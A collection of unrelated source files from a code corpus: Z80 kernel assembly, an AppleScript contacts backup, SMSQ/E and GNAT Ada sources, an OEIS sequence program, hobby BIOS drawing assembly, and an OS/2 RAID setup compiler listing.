jp _enosys ; _statfs
jp _execve
jp _enosys ; _getdirent
jp _time
jp _stime
jp _ioctl
jp _brk
jp _sbrk
jp _enosys ; _vfork
jp _enosys ; _mount
jp _enosys ; _umount
jp _enosys ; _signal
jp _pause
jp _alarm
jp _kill
jp _pipe
jp _times
jp _clock
jp _chroot
jp _enosys ; _fcntl
jp _fchdir
jp _fchmod
jp _fchown
jp _mkdir
jp _rmdir
jp _mknod
jp _mkfifo
jp _uname
jp _enosys ; _waitpid
jp _profil
jp _uadmin
jp _nice
jp _enosys ; _sigdisp
jp _enosys ; _flock
jp _yield
jp _schedule
jp _kmalloc
jp _kfree
jp _enosys ; _select
jp _enosys ; _getrlimit
jp _enosys ; _setrlimit
jp _enosys ; _setsid
jp _enosys ; _getsid
jp _shutdown
jp _reboot
jp _usleep
jp _flash_lock
jp _flash_unlock
jp _printk
; jp _socket
; jp _listen
; jp _bind
; jp _connect
; jp _accept
; jp _getsockaddrs
; jp _sendto
; jp _recvfrom
include 'kernel/init.asm'
include 'kernel/interrupt.asm'
include 'kernel/watchdog.asm'
include 'kernel/power.asm'
include 'kernel/thread.asm'
include 'kernel/queue.asm'
include 'kernel/clock.asm'
include 'kernel/fifo.asm'
include 'kernel/signal.asm'
include 'kernel/restart.asm'
include 'kernel/syscall.asm'
include 'kernel/timer.asm'
include 'kernel/vfs.asm'
include 'kernel/dma.asm'
include 'kernel/inode.asm'
; be sure we are in the correct spot for NMI
assert $ < $0220A8
rb $0220A8-$
include 'kernel/nmi.asm'
include 'kernel/arch/atomic.asm'
include 'kernel/arch/debug.asm'
include 'kernel/mm/mm.asm'
include 'kernel/mm/vfs_cache.asm'
include 'kernel/mm/slab.asm'
include 'kernel/arch/pic.asm'
include 'kernel/arch/leaf.asm'
include 'kernel/arch/ldso.asm'
include 'kernel/compress/lz4.asm'
include 'fs/romfs.asm'
include 'fs/tifs.asm'
; kernel_romfs:
; file 'rootfs'
include 'kernel/font/gohufont.inc'
; driver & device
include 'kernel/driver/video.asm'
include 'kernel/driver/rtc.asm'
include 'kernel/driver/hrtimer.asm'
include 'kernel/driver/keyboard.asm'
include 'kernel/driver/spi.asm'
include 'kernel/driver/usb.asm'
include 'kernel/driver/mtd.asm'
include 'kernel/driver/console.asm'
; NOTE : dev console must follow driver/console code
include 'kernel/dev/console.asm'
include 'kernel/dev/null.asm'
include 'kernel/dev/flash.asm'
init_conway:
include 'conway.asm'
sorcery_end:
|
backupAddressBook.scpt | MidnightSkulker/AppleContactsParse | 1 | 3350 | <filename>backupAddressBook.scpt
tell application "Contacts"
set the clipboard to (vcard of people) as text
do shell script "pbpaste >."
end tell
|
smsq/sbas/procs/reset.asm | olifink/smsqe | 0 | 4462 | ; SBAS_PROCS_RESET - SBASIC Reset V2.01 2000 <NAME>
section exten
xdef reset
xref smsq_sreset
include 'dev8_keys_qdos_sms'
;+++
; RESET
;---
reset
moveq #sms.xtop,d0
trap #1 ; go to supervisor mode
jmp smsq_sreset ; do standard soft reset
end
|
support/MinGW/lib/gcc/mingw32/9.2.0/adainclude/g-lists.ads | orb-zhuchen/Orb | 0 | 10664 | ------------------------------------------------------------------------------
-- --
-- GNAT RUN-TIME COMPONENTS --
-- --
-- G N A T . L I S T S --
-- --
-- S p e c --
-- --
-- Copyright (C) 2018-2019, Free Software Foundation, Inc. --
-- --
-- GNAT is free software; you can redistribute it and/or modify it under --
-- terms of the GNU General Public License as published by the Free Soft- --
-- ware Foundation; either version 3, or (at your option) any later ver- --
-- sion. GNAT is distributed in the hope that it will be useful, but WITH- --
-- OUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY --
-- or FITNESS FOR A PARTICULAR PURPOSE. --
-- --
-- As a special exception under Section 7 of GPL version 3, you are granted --
-- additional permissions described in the GCC Runtime Library Exception, --
-- version 3.1, as published by the Free Software Foundation. --
-- --
-- You should have received a copy of the GNU General Public License and --
-- a copy of the GCC Runtime Library Exception along with this program; --
-- see the files COPYING3 and COPYING.RUNTIME respectively. If not, see --
-- <http://www.gnu.org/licenses/>. --
-- --
-- GNAT was originally developed by the GNAT team at New York University. --
-- Extensive contributions were provided by Ada Core Technologies Inc. --
-- --
------------------------------------------------------------------------------
pragma Compiler_Unit_Warning;
package GNAT.Lists is
------------------------
-- Doubly_Linked_List --
------------------------
-- The following package offers a doubly linked list abstraction with the
-- following characteristics:
--
-- * Creation of multiple instances, of different sizes.
-- * Iterable elements.
--
-- The following use pattern must be employed with this list:
--
-- List : Instance := Create;
--
-- <various operations>
--
-- Destroy (List);
--
-- The destruction of the list reclaims all storage occupied by it.
generic
type Element_Type is private;
with function "="
(Left : Element_Type;
Right : Element_Type) return Boolean;
package Doubly_Linked_List is
---------------------
-- List operations --
---------------------
type Instance is private;
Nil : constant Instance;
-- The following exception is raised when the list is empty, and an
-- attempt is made to delete an element from it.
List_Empty : exception;
procedure Append (L : Instance; Elem : Element_Type);
-- Insert element Elem at the end of list L. This action will raise
-- Iterated if the list has outstanding iterators.
function Contains (L : Instance; Elem : Element_Type) return Boolean;
-- Determine whether list L contains element Elem
function Create return Instance;
-- Create a new list
procedure Delete (L : Instance; Elem : Element_Type);
-- Delete element Elem from list L. The routine has no effect if Elem is
-- not present. This action will raise
--
-- * List_Empty if the list is empty.
-- * Iterated if the list has outstanding iterators.
procedure Delete_First (L : Instance);
-- Delete an element from the start of list L. This action will raise
--
-- * List_Empty if the list is empty.
-- * Iterated if the list has outstanding iterators.
procedure Delete_Last (L : Instance);
-- Delete an element from the end of list L. This action will raise
--
-- * List_Empty if the list is empty.
-- * Iterated if the list has outstanding iterators.
procedure Destroy (L : in out Instance);
-- Destroy the contents of list L. This routine must be called at the
-- end of a list's lifetime. This action will raise Iterated if the
-- list has outstanding iterators.
function First (L : Instance) return Element_Type;
-- Obtain an element from the start of list L. This action will raise
-- List_Empty if the list is empty.
procedure Insert_After
(L : Instance;
After : Element_Type;
Elem : Element_Type);
-- Insert new element Elem after element After in list L. The routine
-- has no effect if After is not present. This action will raise
-- Iterated if the list has outstanding iterators.
procedure Insert_Before
(L : Instance;
Before : Element_Type;
Elem : Element_Type);
-- Insert new element Elem before element Before in list L. The routine
-- has no effect if After is not present. This action will raise
-- Iterated if the list has outstanding iterators.
function Is_Empty (L : Instance) return Boolean;
-- Determine whether list L is empty
function Last (L : Instance) return Element_Type;
-- Obtain an element from the end of list L. This action will raise
-- List_Empty if the list is empty.
procedure Prepend (L : Instance; Elem : Element_Type);
-- Insert element Elem at the start of list L. This action will raise
-- Iterated if the list has outstanding iterators.
procedure Replace
(L : Instance;
Old_Elem : Element_Type;
New_Elem : Element_Type);
-- Replace old element Old_Elem with new element New_Elem in list L. The
-- routine has no effect if Old_Elem is not present. This action will
-- raise Iterated if the list has outstanding iterators.
function Size (L : Instance) return Natural;
-- Obtain the number of elements in list L
-------------------------
-- Iterator operations --
-------------------------
-- The following type represents an element iterator. An iterator locks
-- all mutation operations, and ulocks them once it is exhausted. The
-- iterator must be used with the following pattern:
--
-- Iter := Iterate (My_List);
-- while Has_Next (Iter) loop
-- Next (Iter, Element);
-- end loop;
--
-- It is possible to advance the iterator by using Next only, however
-- this risks raising Iterator_Exhausted.
type Iterator is private;
function Iterate (L : Instance) return Iterator;
-- Obtain an iterator over the elements of list L. This action locks all
-- mutation functionality of the associated list.
function Has_Next (Iter : Iterator) return Boolean;
-- Determine whether iterator Iter has more elements to examine. If the
-- iterator has been exhausted, restore all mutation functionality of
-- the associated list.
procedure Next (Iter : in out Iterator; Elem : out Element_Type);
-- Return the current element referenced by iterator Iter and advance
-- to the next available element. If the iterator has been exhausted
-- and further attempts are made to advance it, this routine restores
-- mutation functionality of the associated list, and then raises
-- Iterator_Exhausted.
private
-- The following type represents a list node
type Node;
type Node_Ptr is access all Node;
type Node is record
Elem : Element_Type;
Next : Node_Ptr := null;
Prev : Node_Ptr := null;
end record;
-- The following type represents a list
type Linked_List is record
Elements : Natural := 0;
-- The number of elements in the list
Iterators : Natural := 0;
-- Number of outstanding iterators
Nodes : aliased Node;
-- The dummy head of the list
end record;
type Instance is access all Linked_List;
Nil : constant Instance := null;
-- The following type represents an element iterator
type Iterator is record
List : Instance := null;
-- Reference to the associated list
Nod : Node_Ptr := null;
-- Reference to the current node being examined. The invariant of the
-- iterator requires that this field always points to a valid node. A
-- value of null indicates that the iterator is exhausted.
end record;
end Doubly_Linked_List;
end GNAT.Lists;
|
oeis/197/A197682.asm | neoneye/loda-programs | 11 | 245739 | ; A197682: Decimal expansion of Pi/(2 + 2*Pi).
; Submitted by <NAME>(l1)
; 3,7,9,2,7,3,4,9,6,4,9,7,3,8,8,0,7,2,6,7,2,2,1,5,3,4,4,5,2,2,4,4,6,4,3,2,0,6,9,2,1,3,1,8,2,8,2,0,2,6,5,4,9,8,3,3,4,4,9,4,1,0,6,8,9,1,2,7,4,0,6,8,5,5,0,4,7,8,6,8,8,1,6,0,3,1,6,5,8,7,0,0,7,6,7,7,8,8,6
add $0,1
mov $2,1
mov $3,$0
mul $3,5
lpb $3
mul $1,$3
mov $5,$3
mul $5,2
add $5,1
mul $2,$5
add $1,$2
div $1,$0
div $2,$0
sub $3,1
lpe
mul $1,2
add $2,$1
mul $2,2
mov $4,10
pow $4,$0
div $2,$4
div $1,$2
mov $0,$1
mod $0,10
|
gfx/pokemon/koffing/anim.asm | Dev727/ancientplatinum | 28 | 97273 | frame 1, 20
frame 2, 06
frame 3, 05
frame 4, 10
frame 5, 15
endanim
|
magnemite.asm | martianworm17/college-assembly-drawing | 0 | 82755 | .model small
.stack
.code
start:
mov ah, 06h
mov bh, 70h
mov ch, 0
mov cl, 0
mov dh, 50
mov dl, 50
int 10h
;body
mov ah, 06h
mov bh, 130
mov ch, 2
mov cl, 20
mov dh, 2
mov dl, 26
int 10h
mov ah, 06h
mov bh, 130
mov ch, 3
mov cl, 18
mov dh, 3
mov dl, 28
int 10h
mov ah, 06h
mov bh, 130
mov ch, 4
mov cl, 17
mov dh, 4
mov dl, 29
int 10h
mov ah, 06h
mov bh, 130
mov ch, 5
mov cl, 16
mov dh, 6
mov dl, 30
int 10h
mov ah, 06h
mov bh, 130
mov ch, 7
mov cl, 15
mov dh, 12
mov dl, 31
int 10h
mov ah, 06h
mov bh, 130
mov ch, 13
mov cl, 16
mov dh, 14
mov dl, 30
int 10h
mov ah, 06h
mov bh, 130
mov ch, 15
mov cl, 17
mov dh, 15
mov dl, 29
int 10h
mov ah, 06h
mov bh, 130
mov ch, 16
mov cl, 18
mov dh, 16
mov dl, 28
int 10h
mov ah, 06h
mov bh, 130
mov ch, 17
mov cl, 20
mov dh, 17
mov dl, 26
int 10h
;eyes
mov ah, 06h
mov bh, 250
mov ch, 6
mov cl, 21
mov dh, 6
mov dl, 25
int 10h
mov ah, 06h
mov bh, 250
mov ch, 7
mov cl, 20
mov dh, 7
mov dl, 26
int 10h
mov ah, 06h
mov bh, 250
mov ch, 8
mov cl, 19
mov dh, 11
mov dl, 27
int 10h
mov ah, 06h
mov bh, 250
mov ch, 12
mov cl, 20
mov dh, 12
mov dl, 26
int 10h
mov ah, 06h
mov bh, 250
mov ch, 13
mov cl, 21
mov dh, 13
mov dl, 25
int 10h
;pupil
mov ah, 06h
mov bh, 0
mov ch, 9
mov cl, 23
mov dh, 10
mov dl, 23
int 10h
;magnet
mov ah, 06h
mov bh, 0
mov ch, 7
mov cl, 32
mov dh, 12
mov dl, 35
int 10h
mov ah, 06h
mov bh, 0
mov ch, 4
mov cl, 33
mov dh, 6
mov dl, 40
int 10h
mov ah, 06h
mov bh, 20
mov ch, 4
mov cl, 37
mov dh, 6
mov dl, 40
int 10h
mov ah, 06h
mov bh, 0
mov ch, 13
mov cl, 33
mov dh, 15
mov dl, 40
int 10h
mov ah, 06h
mov bh, 65
mov ch, 13
mov cl, 37
mov dh, 15
mov dl, 40
int 10h
;other magnet
mov ah, 06h
mov bh, 0
mov ch, 7
mov cl, 14
mov dh, 12
mov dl, 11
int 10h
mov ah, 06h
mov bh, 0
mov ch, 4
mov cl, 13
mov dh, 6
mov dl, 6
int 10h
mov ah, 06h
mov bh, 65
mov ch, 4
mov cl, 9
mov dh, 6
mov dl, 6
int 10h
mov ah, 06h
mov bh, 0
mov ch, 13
mov cl, 13
mov dh, 15
mov dl, 6
int 10h
mov ah, 06h
mov bh, 20
mov ch, 13
mov cl, 9
mov dh, 15
mov dl, 6
int 10h
mov ah, 4ch
int 21h
end start
|
raid/Setup/list/drvsetup.asm | OS2World/DRV-VRAID | 0 | 14484 | <filename>raid/Setup/list/drvsetup.asm
title drvsetup.cpp
.386
.387
includelib CPPOM30.LIB
includelib OS2386.LIB
CODE32 segment dword use32 public 'CODE'
CODE32 ends
DATA32 segment dword use32 public 'DATA'
DATA32 ends
CONST32_RO segment dword use32 public 'CONST'
CONST32_RO ends
BSS32 segment dword use32 public 'BSS'
BSS32 ends
EH_CODE segment dword use32 public 'CODE'
EH_CODE ends
CTOR_DTOR1 segment dword use32 public 'DATA'
CTOR_DTOR1 ends
CTOR_DTOR2 segment dword use32 public 'DATA'
CTOR_DTOR2 ends
CTOR_DTOR3 segment dword use32 public 'DATA'
CTOR_DTOR3 ends
EH_DATA segment para use32 public 'DATA'
EH_DATA ends
_VFT segment para use32 public 'DATA'
_VFT ends
DGROUP group BSS32, DATA32
assume cs:FLAT, ds:FLAT, ss:FLAT, es:FLAT
extrn WinQuerySysColor:proc
extrn ProfileRead:proc
extrn WinQueryWindowPos:proc
extrn Verbose:proc
extrn WinCreateWindow:proc
extrn MyMessageBox__FCiCUlPce:proc
extrn WinGetLastError:proc
extrn memset:proc
extrn WinSendMsg:proc
extrn WinLoadMenu:proc
extrn WinQueryPointerPos:proc
extrn WinMapWindowPoints:proc
extrn SearchCnr__FUlPFUlPvT2PUl_UlPvN23:proc
extrn EmphInuse2Source__FUlP9_MYRECORDPUlT3:proc
extrn WinPopupMenu:proc
extrn DrgAllocDraginfo:proc
extrn DrgAddStrHandle:proc
extrn DrgSetDragitem:proc
extrn DrgDrag:proc
extrn DrgFreeDraginfo:proc
extrn _sprintfieee:proc
extrn WinMessageBox:proc
extrn LookupDisk__FUlP9_MYRECORDP5VRDevPP9_MYRECORD:proc
extrn WinPostMsg:proc
extrn WinQueryWindowPtr:proc
extrn __nw__FUi:proc
extrn _beginthread:proc
extrn DrvscanThread:proc
extrn _errno:proc
extrn EmphSource__FUlP9_MYRECORDPUlT3:proc
extrn QueryInuse__FUlP9_MYRECORDPUlPP9_MYRECORD:proc
extrn WinDlgBox:proc
extrn DrvtypeDlgProc:proc
extrn memcpy:proc
extrn time:proc
extrn __dl__FPv:proc
extrn __ct__7VSingleFPUc:proc
extrn __ct__6VChainFPUci:proc
extrn __ct__7VStripeFPUci:proc
extrn __ct__7VMirrorFPUci:proc
extrn EmphInuse__FUlP9_MYRECORDPUlT3:proc
extrn QueryAny__FUlP9_MYRECORDPUlPP9_MYRECORD:proc
extrn WinDestroyWindow:proc
extrn WinQueryWindow:proc
extrn ProfileWrite:proc
extrn WinSetWindowPos:proc
extrn WinQueryPresParam:proc
extrn WinInvalidateRect:proc
extrn strlen:proc
extrn WinDefWindowProc:proc
extrn _Exception_CPP:proc
extrn WinInitialize:proc
extrn WinCreateMsgQueue:proc
extrn WinCancelShutdown:proc
extrn WinRegisterClass:proc
extrn WinCreateStdWindow:proc
extrn WinSetWindowPtr:proc
extrn WinQueryTaskSizePos:proc
extrn WinGetMsg:proc
extrn WinDispatchMsg:proc
extrn WinDestroyMsgQueue:proc
extrn WinTerminate:proc
extrn usHostId:word
extrn _fltused:dword
CONST32_RO segment
@CBE1 db "Background",0h
align 04h
@CBE2 db "Foreground",0h
align 04h
@CBE3 db "DrvSetup",0h
align 04h
@CBE4 db "client window %u,%u %u,%"
db "u",0h
align 04h
@CBE5 db "WinCreateWindow(...,WC_C"
db "ONTAINER,...) - error %#"
db "x",0h
align 04h
@CBE6 db "WinLoadMenu failed (last"
db " error %#x)",0h
@CBE7 db "popup menues %#x,%#x,%#x"
db 0h
align 04h
@CBE8 db "DoPopup: %lu records in "
db "use",0h
@CBE9 db "CM_ALLOCRECORD: %#x",0h
@CBE10 db "WinSendMsg(CM_INSERTRECO"
db "RD) failed - last error "
db "%#x",0h
@CBE11 db "DragInit: record %#x",0h
align 04h
@CBE12 db "DragInit: record passed "
db "checks",0h
align 04h
@CBE13 db "DRT_CUSTOMER",0h
align 04h
@CBE14 db "DRM_SHAREMEM,DRM_UNKNOWN"
db 0h
align 04h
@CBE15 db "DragLeave, record %#x",0h
align 04h
@CBE16 db "DragOver, record %#x",0h
align 04h
@CBE17 db "DragOver, no target",0h
@CBE18 db "DragOver, no destination"
db 0h
align 04h
@CBE19 db "DragOver, pRecord != pmr"
db "DragDestination!",0h
align 04h
@CBE20 db "DragOver, destination %#"
db "x",0h
align 04h
@CBE21 db "DragOver, source == dest"
db "ination!",0h
align 04h
@CBE22 db "DragOver, source too sma"
db "ll",0h
align 04h
@CBE23 db "DragOver, bad destinatio"
db "n",0h
align 04h
@CBE24 db "DragOver, bad destinatio"
db "n type",0h
align 04h
@CBE25 db "DragOver, destination is"
db " acceptable",0h
@CBE26 db "DragDrop, record %#x",0h
align 04h
@CBE27 db "DragDrop, can't use exte"
db "rnal data",0h
align 04h
@CBE28 db "This will destroy all da"
db "ta on the dropped device"
db " ID %02X%02X%02X%02X%02X"
db "%02X. Are you sure you "
db "want to do this?",0h
align 04h
@CBE29 db "Just curious...",0h
@CBE30 db "DragDrop: found as recor"
db "d %lu",0h
align 04h
@CBE31 db "WUM_START",0h
align 04h
@CBE32 db "_beginthread(DrvscanThre"
db "ad) failed - errno %u",0h
align 04h
@CBE33 db "WUM_DEVTREE",0h
@CBE34 db "WM_CONTROL",0h
align 04h
@CBE35 db "WM_CONTROL (id %#x, CN_C"
db "ONTEXTMENU)",0h
@CBE36 db "WM_CONTROL (id %#x, CN_E"
db "NTER)",0h
align 04h
@CBE37 db "Internal error, can't us"
db "e NULL device",0h
align 04h
@CBE38 db "Can't work on this devic"
db "e, remove parent first.",0h
@CBE39 db "Can't work on this devic"
db "e, create physdevice fir"
db "st.",0h
@CBE40 db "This device (or part of "
db "it) is in use by OS/2, r"
db "emove recognized filesys"
db "tems first.",0h
@CBE41 db "WinSendMsg(CM_SETRECORDE"
db "MPHASIS) failed - last e"
db "rror %#x)",0h
align 04h
@CBE42 db "WM_CONTROL (id %#x, CN_I"
db "NITDRAG)",0h
align 04h
@CBE43 db "WM_CONTROL (id %#x, CN_D"
db "RAGOVER)",0h
align 04h
@CBE44 db "WM_CONTROL (id %#x, CN_D"
db "RAGLEAVE)",0h
align 04h
@CBE45 db "WM_CONTROL (id %#x, CN_D"
db "ROP)",0h
align 04h
@CBE46 db "WM_CONTROL (id %#x, noti"
db "fy code %#x)",0h
align 04h
@CBE47 db "WM_CONTEXTMENU",0h
align 04h
@CBE48 db "WM_MENUEND",0h
align 04h
@CBE49 db "WM_COMMAND",0h
align 04h
@CBE50 db "WM_COMMAND, IDM_CREATE_P"
db "DEV",0h
@CBE51 db "WM_COMMAND, IDM_COMBINE_"
db "DRV",0h
@CBE52 db "%lu drives are ",022h,"in-use",022h,0h
@CBE53 db "WM_COMMAND, IDM_DESTROY_"
db "DRV",0h
@CBE54 db "Are you sure?",0h
align 04h
@CBE55 db "WM_COMMAND, IDM_DELETE_P"
db "DEV",0h
@CBE56 db "Are you sure you want to"
db " destroy ID %02X%02X%02X"
db "%02X%02X%02X?",0h
align 04h
@CBE57 db "WM_COMMAND, IDM_REMOVE_C"
db "HILD",0h
align 04h
@CBE58 db "Are you sure you want to"
db " remove ID %02X%02X%02X%"
db "02X%02X%02X from array?",0h
@CBE59 db "WM_COMMAND %u",0h
align 04h
@CBE60 db "WM_CREATE",0h
align 04h
@CBE61 db "DrvsetupWindow",0h
align 04h
@CBE62 db "WM_CLOSE",0h
align 04h
@CBE63 db "%lu drives are available"
db 0h
align 04h
@CBE64 db "WM_DESTROY",0h
align 04h
@CBE65 db "WM_SIZE",0h
@CBE66 db "Size",0h
align 04h
@CBE67 db "WM_MOVE",0h
@CBE68 db "Position",0h
align 04h
@CBE69 db "WM_QUERYTRACKINFO (track"
db "ing flags %#x)",0h
align 04h
@CBE70 db "WM_PRESPARAMCHANGED(type"
db " %#x)",0h
align 04h
@CBE71 db "WinQueryPresParam failed"
db " - last error %#x",0h
align 04h
@CBE72 db "Set foreground colour to"
db " %#x",0h
align 04h
@CBE73 db "Set background colour to"
db " %#x",0h
align 04h
@CBE74 db "Set font to ",022h,"%s",022h,0h
align 04h
@CBE75 db "Font",0h
align 04h
@CBE76 db "WM_PRESPARAMCHANGED(unsu"
db "pported type %#x)",0h
align 04h
@CBE77 db "startup",0h
@CBE78 db "WinInitialize failed!?!",0h
@CBE79 db "WinCreateMsgQueue - erro"
db "r %#x",0h
align 04h
@CBE80 db "WinRegisterClass - error"
db " %#x",0h
align 04h
@CBE81 db "VSetup - Drive Definitio"
db "n Window",0h
align 04h
@CBE82 db "WinCreateStdWindow - err"
db "or %#x",0h
align 04h
@CBE83 db "WinSetWindowPtr failed -"
db " error %#",0h
align 04h
@CBE84 db "Copying old size of wind"
db "ow",0h
align 04h
@CBE85 db "Copying old position of "
db "window",0h
align 04h
@CBE86 db "WinSetWindowPos failed ("
db "last error %#x)",0h
@CBE87 db "DrvSetupThread: stopped",0h
@1vcid db "$Id: drvsetup.cpp,v 2.9 "
db "2000/04/10 01:12:09 vitu"
db "s Exp $",0h
CONST32_RO ends
DATA32 segment
@2rgbBackground dd 0ffffff01h
@3rgbForeground dd 0ffffff01h
DATA32 ends
BSS32 segment
@bcregular dd 0h
BSS32 ends
EH_DATA segment
@11e__fsm_tab db 0adh,0deh,0efh,0beh
db 04h,0h,0h,0h
dd -010h
dd offset FLAT:__dl__FPv
db 0fdh,0ffh,0ffh,0ffh
db "0",0h,0h,0h
db 0h,0h
db 0h,0h
dd -014h
dd offset FLAT:__dl__FPv
db 0fdh,0ffh,0ffh,0ffh
db "0",01h,0h,0h
db 0h,0h
db 0h,0h
dd -018h
dd offset FLAT:__dl__FPv
db 0fdh,0ffh,0ffh,0ffh
db "0",01h,0h,0h
db 0h,0h
db 0h,0h
dd -01ch
dd offset FLAT:__dl__FPv
db 0fdh,0ffh,0ffh,0ffh
db "4",01h,0h,0h
db 0h,0h
db 0h,0h
EH_DATA ends
CODE32 segment
; 1524 DrvsetupThread(void *dummy)
public DrvsetupThread
DrvsetupThread proc
push ebp
; 1534 Verbose(2, "DrvSetup", "startup");
mov ecx,offset FLAT:@CBE77
; 1524 DrvsetupThread(void *dummy)
mov ebp,esp
push ebx
; 1534 Verbose(2, "DrvSetup", "startup");
mov ebx,offset FLAT:@CBE3
; 1524 DrvsetupThread(void *dummy)
push edi
mov edi,eax
push esi
; 1534 Verbose(2, "DrvSetup", "startup");
mov edx,ebx
; 1524 DrvsetupThread(void *dummy)
sub esp,08ch
; 1534 Verbose(2, "DrvSetup", "startup");
mov eax,02h
call Verbose
; 1537 work = new WORK;
mov eax,028h
call __nw__FUi
mov esi,eax
; 1538 memset(work, 0, sizeof(WORK));
mov ecx,028h
xor edx,edx
call memset
; 1541 if( !(work->hab = WinInitialize(0)) )
push 0h
; 1537 work = new WORK;
mov [ebp-010h],esi; work
; 1538 memset(work, 0, sizeof(WORK));
mov eax,edi
; 1539 work->self = dta;
mov [esi],eax
; 1541 if( !(work->hab = WinInitialize(0)) )
call WinInitialize
add esp,04h
mov [esi+04h],eax
cmp dword ptr [esi+04h],0h
mov edx,ebx
jne @BLBL130
; 1543 Verbose(0, "DrvSetup", "WinInitialize failed!?!");
xor eax,eax
mov ecx,offset FLAT:@CBE78
call Verbose
; 1544 break;
jmp @BLBL131
@BLBL130:
; 1547 if( !(hmq = WinCreateMsgQueue(work->hab, 0)) )
mov ebx,[ebp-010h]; work
push 0h
push dword ptr [ebx+04h]
call WinCreateMsgQueue
add esp,08h
mov [ebp-01ch],eax; hmq
test eax,eax
jne @BLBL132
; 1549 Verbose(0, "DrvSetup", "WinCreateMsgQueue - error %#x",
push dword ptr [ebx+04h]
call WinGetLastError
push eax
mov ecx,offset FLAT:@CBE79
sub esp,0ch
mov edx,offset FLAT:@CBE3
xor eax,eax
call Verbose
add esp,014h
; 1551 break;
jmp @BLBL131
@BLBL132:
; 1553 WinCancelShutdown(hmq, TRUE); /* don't want to handle it */
push 01h
; 1555 if( !WinRegisterClass(work->hab, WC_DRVSETUP, DrvsetupWindowProc,
mov ebx,[ebp-010h]; work
; 1553 WinCancelShutdown(hmq, TRUE); /* don't want to handle it */
push dword ptr [ebp-01ch]; hmq
call WinCancelShutdown
; 1555 if( !WinRegisterClass(work->hab, WC_DRVSETUP, DrvsetupWindowProc,
push 04h
push 01h
push offset FLAT: DrvsetupWindowProc
push offset FLAT:@CBE61
push dword ptr [ebx+04h]
call WinRegisterClass
add esp,01ch
test eax,eax
jne @BLBL133
; 1558 Verbose(0, "DrvSetup", "WinRegisterClass - error %#x",
push dword ptr [ebx+04h]
call WinGetLastError
push eax
mov ecx,offset FLAT:@CBE80
sub esp,0ch
mov edx,offset FLAT:@CBE3
xor eax,eax
call Verbose
add esp,014h
; 1560 break;
jmp @BLBL131
@BLBL133:
; 1566 hwndFrame = WinCreateStdWindow(HWND_DESKTOP, WS_ANIMATE, &flCreate,
lea ebx,[ebp-014h]; hwndClient
push ebx
lea ebx,[ebp-020h]; flCreate
push 0190h
; 1563 flCreate = FCF_SIZEBORDER | FCF_TASKLIST | FCF_SYSMENU | FCF_TITLEBAR
mov dword ptr [ebp-020h],0483bh; flCreate
; 1566 hwndFrame = WinCreateStdWindow(HWND_DESKTOP, WS_ANIMATE, &flCreate,
push 0h
push 0h
push offset FLAT:@CBE81
push offset FLAT:@CBE61
push ebx
push 0400000h
push 01h
call WinCreateStdWindow
add esp,024h
mov [ebp-024h],eax; hwndFrame
; 1572 if( hwndFrame == 0 || hwndClient == 0 )
test eax,eax
je @BLBL134
cmp dword ptr [ebp-014h],0h; hwndClient
jne @BLBL135
@BLBL134:
; 1574 Verbose(0, "DrvSetup", "WinCreateStdWindow - error %#x",
mov ebx,[ebp-010h]; work
push dword ptr [ebx+04h]
call WinGetLastError
push eax
mov ecx,offset FLAT:@CBE82
sub esp,0ch
mov edx,offset FLAT:@CBE3
xor eax,eax
call Verbose
add esp,014h
; 1576 break; /* couldn't create window for some
jmp @BLBL131
@BLBL135:
; 1582 bool = WinSetWindowPtr(hwndClient, 0, work);
mov ebx,[ebp-010h]; work
push ebx
push 0h
push dword ptr [ebp-014h]; hwndClient
call WinSetWindowPtr
add esp,0ch
; 1583 if( bool == FALSE )
test eax,eax
jne @BLBL136
; 1585 MyMessageBox(0, HWND_DESKTOP,
push dword ptr [ebx+04h]
call WinGetLastError
push eax
mov ecx,offset FLAT:@CBE83
sub esp,0ch
mov edx,01h
xor eax,eax
call MyMessageBox__FCiCUlPce
add esp,014h
; 1588 break;
jmp @BLBL131
@BLBL136:
; 1591 WinPostMsg(hwndClient, WUM_START, 0, 0);
push 0h
; 1603 WinQueryTaskSizePos(work->hab, 0, &swp);
lea ebx,[ebp-048h]; swp
; 1591 WinPostMsg(hwndClient, WUM_START, 0, 0);
push 0h
push 01002h
push dword ptr [ebp-014h]; hwndClient
call WinPostMsg
; 1603 WinQueryTaskSizePos(work->hab, 0, &swp);
push ebx
mov ebx,[ebp-010h]; work
push 0h
push dword ptr [ebx+04h]
; 1606 if( ProfileRead(WC_DRVSETUP, "Size", &cb, &tmp) == 0 )
lea ebx,[ebp-06ch]; tmp
; 1603 WinQueryTaskSizePos(work->hab, 0, &swp);
call WinQueryTaskSizePos
; 1606 if( ProfileRead(WC_DRVSETUP, "Size", &cb, &tmp) == 0 )
push ebx
; 1605 cb = sizeof(tmp);
mov dword ptr [ebp-018h],024h; cb
; 1606 if( ProfileRead(WC_DRVSETUP, "Size", &cb, &tmp) == 0 )
sub esp,0ch
lea ecx,[ebp-018h]; cb
mov edx,offset FLAT:@CBE66
mov eax,offset FLAT:@CBE61
call ProfileRead
add esp,02ch
test eax,eax
jne @BLBL137
; 1608 Verbose(3, "DrvSetup", "Copying old size of window");
mov ecx,offset FLAT:@CBE84
mov edx,offset FLAT:@CBE3
mov eax,03h
call Verbose
; 1609 swp.cx = tmp.cx;
mov eax,[ebp-064h]; tmp
mov [ebp-040h],eax; swp
; 1610 swp.cy = tmp.cy;
mov eax,[ebp-068h]; tmp
; 1611 swp.fl |= SWP_SIZE;
or byte ptr [ebp-048h],01h; swp
; 1610 swp.cy = tmp.cy;
mov [ebp-044h],eax; swp
; 1612 }
@BLBL137:
; 1614 if( ProfileRead(WC_DRVSETUP, "Position", &cb, &tmp) == 0 )
lea ebx,[ebp-06ch]; tmp
push ebx
; 1613 cb = sizeof(tmp);
mov dword ptr [ebp-018h],024h; cb
; 1614 if( ProfileRead(WC_DRVSETUP, "Position", &cb, &tmp) == 0 )
sub esp,0ch
lea ecx,[ebp-018h]; cb
mov edx,offset FLAT:@CBE68
mov eax,offset FLAT:@CBE61
call ProfileRead
add esp,010h
test eax,eax
jne @BLBL138
; 1616 Verbose(3, "DrvSetup", "Copying old position of window");
mov ecx,offset FLAT:@CBE85
mov edx,offset FLAT:@CBE3
mov eax,03h
call Verbose
; 1617 swp.x = tmp.x;
mov eax,[ebp-05ch]; tmp
mov [ebp-038h],eax; swp
; 1618 swp.y = tmp.y;
mov eax,[ebp-060h]; tmp
; 1619 swp.fl |= SWP_MOVE;
or byte ptr [ebp-048h],02h; swp
; 1618 swp.y = tmp.y;
mov [ebp-03ch],eax; swp
; 1620 }
@BLBL138:
; 1622 swp.fl |= SWP_SHOW;
